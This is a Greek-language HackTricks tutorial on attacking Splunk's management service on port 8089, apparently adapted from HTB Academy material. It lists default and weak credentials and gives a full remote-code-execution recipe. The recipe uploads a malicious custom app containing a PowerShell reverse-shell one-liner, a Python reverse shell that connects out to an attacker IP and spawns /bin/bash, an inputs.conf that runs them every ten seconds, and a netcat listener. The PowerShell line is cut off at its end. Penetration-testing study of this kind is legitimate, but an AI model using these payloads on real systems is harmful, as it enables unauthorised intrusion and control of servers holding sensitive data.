# 8089 - Πεντεστάροντας το Splunkd
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με τοhtARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
## **Βασικές Πληροφορίες**
Το Splunk είναι ένα εργαλείο **ανάλυσης καταγραφικών αρχείων** που παίζει ένα κρίσιμο ρόλο στη **συλλογή, ανάλυση και οπτικοποίηση δεδομένων**. Αν και η αρχική του σκοπιμότητα δεν ήταν να λειτουργήσει ως εργαλείο **SIEM (Security Information and Event Management)**, έχει κερδίσει δημοτικότητα στον τομέα της **παρακολούθησης ασφάλειας** και της **ανάλυσης επιχειρηματικών δεδομένων**.
Οι εγκαταστάσεις του Splunk χρησιμοποιούνται συχνά για να αποθηκεύουν **ευαίσθητα δεδομένα** και μπορούν να λειτουργήσουν ως **πολύτιμη πηγή πληροφοριών** για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα.
**Προεπιλεγμένη θύρα:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Ο **διακομιστής web του Splunk τρέχει από προεπιλογή στη θύρα 8000**.
{% endhint %}
## Απαρίθμηση
### Δωρεάν Έκδοση
Η δοκιμαστική έκδοση του Splunk Enterprise μετατρέπεται σε **δωρεάν έκδοση μετά από 60 ημέρες**, η οποία **δεν απαιτεί πιστοποίηση**. Δεν είναι ασυνήθιστο για τους διαχειριστές συστήματος να εγκαταστήσουν μια δοκιμαστική έκδοση του Splunk για να το δοκιμάσουν, η οποία **στη συνέχεια ξεχνιέται**. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή πιστοποίησης, δημιουργώντας ένα κενό ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμένων προϋπολογιστικών περιορισμών, χωρίς να κατανοούν πλήρως τις επιπτώσεις της έλλειψης διαχείρισης χρηστών/ρόλων.
### Προεπιλεγμένα Διαπιστευτήρια
Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι **`admin:changeme`**, τα οποία εμφανίζονται ευκολότερα στη σελίδα σύνδεσης.\
Ωστόσο, **η τελευταία έκδοση του Splunk** ορίζει **διαπιστευτήρια** **κατά τη διάρκεια της διαδικασίας εγκατάστασης**. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινά αδύναμα συνθηματικά όπως `admin`, `Welcome`, `Welcome1`, `Password123`, κλπ.
### Λήψη Πληροφοριών
Αφού συνδεθείτε στο Splunk, μπορούμε να **περιηγηθούμε στα δεδομένα**, να εκτελέσουμε **αναφορές**, να δημιουργήσουμε **ταμπλό**, να **εγκαταστήσουμε εφαρμογές** από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές.\
Μπορείτε επίσης να εκτελέσετε κώδικα: Ο Splunk έχει πολλούς τρόπους **εκτέλεσης κώδικα**, όπως εφαρμογές Django πλευράς εξυπηρετητή, σημεία άκρης REST, σεναρίων εισαγωγής και σεναρίων ειδοποίησης. Ένας κοινός τρόπος απόκτησης απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός σεναρίου εισαγωγής.
Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε κεντρικούς υπολογιστές Windows ή Linux, μπορούν να δημιουργηθούν σενάρια εισαγωγής για την εκτέλεση σεναρίων Bash, PowerShell ή Batch.
### Shodan
* `Έκδοση Splunk`
## RCE
### Δημιουργία Προσαρμοσμένης Εφαρμογής
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελέσει **Python, Batch, Bash ή PowerShell σενάρια**.\
Σημειώστε ότι το **Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε συστήματα **Windows** θα μπορείτε να εκτελέσετε κώδικα Python.
Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse\_shell\_splunk) το πακέτο Splunk για να μας βοηθήσει. Ο κατάλογος **`bin`** σε αυτό το αποθετήριο περιέχει παραδείγματα για [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Ας περιηγηθούμε σε αυτό βήμα-βήμα.
Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την ακόλουθη δομή καταλόγου:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Ο φάκελος **`bin`** θα περιέχει οποιαδήποτε **σενάρια πρόκειται να εκτελέσουμε** (σε αυτήν την περίπτωση, ένας αντίστροφος κέλυφος PowerShell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο `inputs.conf` μας. Το αντίστροφο κέλυφος μας θα είναι ένας **PowerShell εντολή σε μία γραμμή:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Το αρχείο [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) λέει στο Splunk **ποιο script να εκτελέσει** και οποιεσδήποτε άλλες συνθήκες. Εδώ ορίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το script κάθε 10 δευτερόλεπτα. Το διάστημα είναι πάντα σε δευτερόλεπτα και η είσοδος (script) θα εκτελεστεί μόνο αν αυτή η ρύθμιση είναι παρούσα.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Χρειαζόμαστε το αρχείο `.bat`, το οποίο θα εκτελείται όταν εγκαθίσταται η εφαρμογή και θα εκτελεί την εντολή PowerShell.
Το επόμενο βήμα είναι να επιλέξουμε `Εγκατάσταση εφαρμογής από αρχείο` και να ανεβάσουμε την εφαρμογή.
Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν ακροατή χρησιμοποιώντας το Netcat ή το [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Στη σελίδα `Μεταφόρτωση εφαρμογής`, κάντε κλικ στο πλήκτρο `Αναζήτηση`, επιλέξτε το tarball που δημιουργήσαμε προηγουμένως και κάντε κλικ στο `Μεταφόρτωση`. Αμέσως μόλις μεταφορτώσουμε την εφαρμογή, λαμβάνουμε έναν αντίστροφο κέλυφος ως κατάσταση της εφαρμογής που αυτόματα αλλάζει σε `Ενεργοποιημένη`.
#### Linux
Εάν είχαμε να κάνουμε με έναν **Linux υπολογιστή**, θα χρειαζόμασταν να **επεξεργαστούμε το σενάριο Python `rev.py`** πριν δημιουργήσουμε το tarball και μεταφορτώσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Το υπόλοιπο της διαδικασίας θα ήταν το ίδιο, και θα λάμβαναμε μια σύνδεση αντίστροφου κελύφους στον ακροατή Netcat μας και θα ξεκινούσαμε.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Ανέβασμα Προνομίων
Στην ακόλουθη σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να αναβαθμιστούν τα προνόμια και να αποκτηθεί μόνιμη παρουσία:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Αναφορές
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με τοhtARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.